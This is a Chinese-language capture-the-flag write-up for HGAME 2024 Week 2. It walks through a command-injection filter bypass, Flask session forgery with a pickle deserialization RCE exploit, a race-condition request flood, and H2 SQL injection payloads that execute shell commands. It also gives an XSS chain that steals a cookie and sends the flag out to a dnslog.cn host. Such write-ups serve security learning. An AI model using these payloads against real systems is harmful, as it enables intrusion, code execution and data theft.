HGAME2024 Week2 Writeup

Author:Ec3o

Web

What the cow say?

简单的命令注入

过滤了cat flag ; |还有一些常用的命令，不过可以用$1进行一个绕过

Payload:`ca$1t${IFS}/fl$1ag_is_here/fl$1ag_c0w54y`

flag:`hgame{COwsay_be_c4re_aBOut_ComMand_InjectiOn}`

myflask

Python session伪造+pickle反序列化RCE

代码逻辑写的很清楚了，不会有人不会做吧（

```
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])

    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
```

```
    else:
        return 'Access Denied'

if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")
```

session伪造脚本

```
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer

# Flask应用的SECRET_KEY
secret_key = "231456"
# 你要修改的session cookie值
session_cookie = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs"
# Flask应用的salt，如果设置了的话；默认情况下Flask使用'signed_cookie'作为salt
salt = 'cookie-session'
# 创建序列化和反序列化的对象
serializer = TaggedJSONSerializer()
signer_kwargs = {
    'key_derivation': 'hmac',
    'digest_method': 'sha1'
}
s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer,
signer_kwargs=signer_kwargs)

# 解码session cookie
decoded_session = s.loads(session_cookie)

# 修改session数据
decoded_session['username'] = 'admin'  # 修改用户名为admin

# 重新编码session cookie
new_session_cookie = s.dumps(decoded_session)

print(f"原始session: {session_cookie}")
print(f"修改后的session: {new_session_cookie}")

#原始session: eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
#修改后的session: eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j5OUIosw1mio8Q
```

pickle反序列化的exp

```
import pickle
import base64
import subprocess

class RCE:
    def __reduce__(self):
        # 使用subprocess.check_output来读取/flag文件的内容
        cmd = ('cat', '/flag')
        return subprocess.check_output, (cmd,)
```

```
# 创建恶意对象
malicious_pickle = pickle.dumps(RCE())

# 编码为Base64
encoded_pickle = base64.b64encode(malicious_pickle).decode()

print(encoded_pickle)
#Pickle_data:gASVMwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5SMA2NhdJSMBS9m
bGFnlIaUhZRSlC4=
```

保险起见，先在自己的服务器上打了一遍（通了），有secret_key方便调试

secret_key是类似221812的字符串

之后启动了靶机，估算一下，secret_key应该在231450-231500之间，枚举一下发现是231456

用apifox发包，得到flag

```
POST /flag HTTP/1.1
Host: 47.100.137.175:32523
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j5OUIosw1mio8Q;
session=eyJ1c2VybmFtZSI6Imd1ZXNOIn0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 47.100.137.175:32523
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
```

flag: `hgame{addf02e8d9ddbb4eed69f81d4101b2d31805c6c5}`

Select More Courses

登录界面提示使用弱密码，我们拿题目给出的提示字典进行弱密码爆破,发现密码是qwert123

接下来进入选课界面，发现有扩学分和选课两个界面

扩学分直接扩不了，提示Race Against Time，想到条件竞争漏洞

```
from concurrent.futures import ThreadPoolExecutor

import requests
url="http://47.102.130.35:32646"
url_login = url+"/api/auth/login"
```

```
url_select=url+"/api/select"
url_expand=url+"/api/expand"
#登录
def get_session():
    headers_login = {
        "Host": "47.102.130.35:32646",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": "http://47.102.130.35:32646",
        "Referer": "http://47.102.130.35:32646/login",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "keep-alive",
    }
    data = {"username": "ma5hr00m", "password": 'qwert123'}
    response = requests.post(url_login, json=data, headers=headers_login)
    response_headers=response.headers
    session_value = response_headers['Set-Cookie'].split(';')[0].split('=')[1]
    print("login done!")
    return session_value
session_value=get_session()
print(f"Session value: {session_value}")
#扩学分
def expand(session_value):
    headers_expand ={
    "Host": "47.102.130.35:32646",
    "Content-Length":"23",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Origin": "http://47.102.130.35:32646",
    "Referer": "http://47.102.130.35:32646/expand",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
    "Cookie":f"session={session_value}"}
    data_expand = {"username":"ma5hr00m"}
    response_expand = requests.post(url_expand, json=data_expand,
headers=headers_expand)
    print(response_expand.content)
    print("expand done!")
#选课
def select(session_value):
    headers_select ={
    "Host": "47.102.130.35:32646",
    "Content-Length":"30",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Origin": "http://47.102.130.35:32646",
    "Referer": "http://47.102.130.35:32646/select",
    "Accept-Encoding": "gzip, deflate, br",
```

```
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
    "Cookie":f"session={session_value}"}
    data_select = {"id":1,"username":"ma5hr00m"}
    response_select = requests.post(url_select, json=data_select,
headers=headers_select)
    print(response_select.content)
    print("select done!")
with ThreadPoolExecutor(max_workers=20) as executor:
    for _ in range(100):
        executor.submit(expand, session_value)
        executor.submit(select, session_value)
```

多线程发包在服务器未完成响应的情况下完成扩学分功能，之后去领flag就行

Flag: `hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}`

search4member

H2数据库注入

Payload1:

```
'; CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException
{ java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("
\\\\A"); return s.hasNext() ? s.next() : ""; } $$; --
```

Payload2:

```
'; CALL EXECVE('whoami'); --
```

有个

```
while (resultSet.next()) {
                results.add(resultSet.getString("id") + " : "
                        + resultSet.getString("intro") + " : "
                        + resultSet.getString("blog"));
            }
```

的数据筛选，我不好读回显，先摆了（

梅开二度

Go语言实现的xss漏洞靶场，waf很严格

http端点有三个

- /　　参数tmpl　存在较为严格的xss过滤，但是可以使用SSTI+传参绕过实现xss
- /bot　　参数url　　要求传递url到bot对象，限制要求是127.0.0.1:8080下的端点信息
- /flag　　没有参数，对本地访问来源设置flag cookie.

基本思路是让bot访问/flag获得cookie，之后访问/利用tmpl传参获取flag

cookie是httponly的，只能构造http请求来传递flag。

HTML构建一个自动发送请求的页面，但是cookie的有效域也是本地...

获取cookieURL:http://127.0.0.1:8080?tmpl={{.Query .Request.Method | .GetHeader}}&GET=Cookie

引导bot访问上面的url，并把获取到的cookie进行处理（获得大括号内内容），并作为域名头发送请求来偷flag

尝试通过dns传出信息

```
fetch("/flag").then(_ => {
    fetch("http://127.0.0.1:8080?tmpl={{.Query .Request.Method |
.GetHeader}}&GET=Cookie").then(r => r.text().then(t => {
        const matched = t.match(/\%7B([^}]+)\%7D/);//将flag进行脱壳，获得hgame{}内部
的字符串作为域名头
        let contentWithinBraces = "";
        if (matched) {
            contentWithinBraces = matched[1];
            let newUrl = `http://${contentWithinBraces}.crg9yr.dnslog.cn/`;
            fetch(newUrl, { mode: 'no-cors' });
        }
    }))
})
```

一行代码

```
<script>fetch("/flag").then(_ => fetch("http://127.0.0.1:8080?tmpl={{.Query
.Request.Method | .GetHeader}}&GET=Cookie").then(r => r.text().then(t => {const
matched = t.match(/\%7B([^}]+)\%7D/); if (matched) { let contentWithinBraces =
matched[1]; fetch(`http://${contentWithinBraces}.crg9yr.dnslog.cn/`, { mode: 'no-
cors' }); }})))
</script>
```

Payload模板：

这是一个成功的实践：

```
http://127.0.0.1:8080/?tmpl=
{{.Query%20.RemoteIP}}&127.0.0.1=%3Cscript%3Efetch(%22http://127.0.0.1:8080?tmpl=
{{.Query%20.Request.Method%20|%20.GetHeader}}&GET=Cookie%22).then(response%20=%3E
%20response.text()).then(t%20=%3E%20{const%20matched%20=%20t.match(/\%7B([^}]+)\%
7D/);%20let%20contentWithinBraces%20=%20%22%22;%20if%20(matched)%20{contentWithin
Braces%20=%20matched[1];}document.body.innerHTML%20+=%20\`%3Cimg%20src=%22http://
\${contentWithinBraces}.lavbls.dnslog.cn/%22%20style=%22display:none;%22%3E\`;}).
catch(error%20=%3E%20console.error(%27Error:%27,%20error));%3C/script%3E
```

本地bot打通脚本：

```
http://127.0.0.1:8080/bot?
url=http%3A//127.0.0.1%3A8080/%3Ftmpl%3D%7B%7B.Query%2520.RemoteIP%7D%7D%26127.0.
0.1%3D%253Cscript%253E%250Afetch%28%2522/flag%2522%29.then%28_%2520%253D%253E%252
0fetch%28%2522http%253A//127.0.0.1%253A8080%3Ftmpl%253D%257B%257B.Query%2520.Requ
est.Method%2520%257C%2520.GetHeader%257D%257D%2526GET%253DCookie%2522%29.then%28r
%2520%253D%253E%2520r.text%28%29.then%28t%2520%253D%253E%2520%257Bconst%2520match
ed%2520%253D%2520t.match%28%252F%255C%25257B%28%255B%255E%257D%5D%252B%29%255C%25
257D%252F%29%253B%2520if%2520%28matched%29%2520%257B%2520let%2520contentWithinBra
ces%2520%253D%2520matched%255B1%255D%253B%2520fetch%28%2560http%253A//%2524%257Bc
ontentWithinBraces%257D.53n4ij.dnslog.cn/%2560%252C%2520%257B%2520mode%253A%2520%
2527no-cors%2527%2520%257D%29%253B%2520%257D%257D%29%29%29%250A%253C/script%253E
```

靶机Payload：

```
http://106.14.57.14:31418/bot?
url=http%3A//127.0.0.1%3A8080/%3Ftmpl%3D%7B%7B.Query%2520.RemoteIP%7D%7D%26127.0.
0.1%3D%253Cscript%253E%250Afetch%28%2522/flag%2522%29.then%28_%2520%253D%253E%252
0fetch%28%2522http%253A//127.0.0.1%253A8080%3Ftmpl%253D%257B%257B.Query%2520.Requ
est.Method%2520%257C%2520.GetHeader%257D%257D%2526GET%253DCookie%2522%29.then%28r
%2520%253D%253E%2520r.text%28%29.then%28t%2520%253D%253E%2520%257Bconst%2520match
ed%2520%253D%2520t.match%28%252F%255C%25257B%28%255B%255E%257D%5D%252B%29%255C%25
257D%252F%29%253B%2520if%2520%28matched%29%2520%257B%2520let%2520contentWithinBra
ces%2520%253D%2520matched%255B1%255D%253B%2520fetch%28%2560http%253A//%2524%257Bc
ontentWithinBraces%257D.53n4ij.dnslog.cn/%2560%252C%2520%257B%2520mode%253A%2520%
2527no-cors%2527%2520%257D%29%253B%2520%257D%257D%29%29%29%250A%253C/script%253E
```

flag: `hgame{13fc4a24aef77869dfad2d7ebe87012a9ba3b185}`

Misc

ek1ng_want_girlfriend

使用wireshark查看pcapng数据包，发现有一个访问ek1ng.jpg的请求：

```
GET /ek1ng.jpg HTTP/1.1
Host: 127.0.0.1:8000
Connection: keep-alive
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
```

```
Cookie: vscode-cli-secret-half=SyTljllpVsfR7KjkthlrtwmHOoISE36mBhuGl9Eeljg=;
vscode-tkn=a3a8bb45-6be0-4cd8-9d77-3b26f5aa384a

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Mon, 05 Feb 2024 02:49:44 GMT
Content-type: image/jpeg
Content-Length: 2487021
Last-Modified: Mon, 05 Feb 2024 02:46:19 GMT
（图片二进制正文）
```

保存为jpg格式图片，用010editor打开，搜索FF D8 FF并将前面的字节全部删去，就可以得到ek1ng学长的图片了

flag: `hgame{ek1ng_want_girlfriend_qq_761042182}`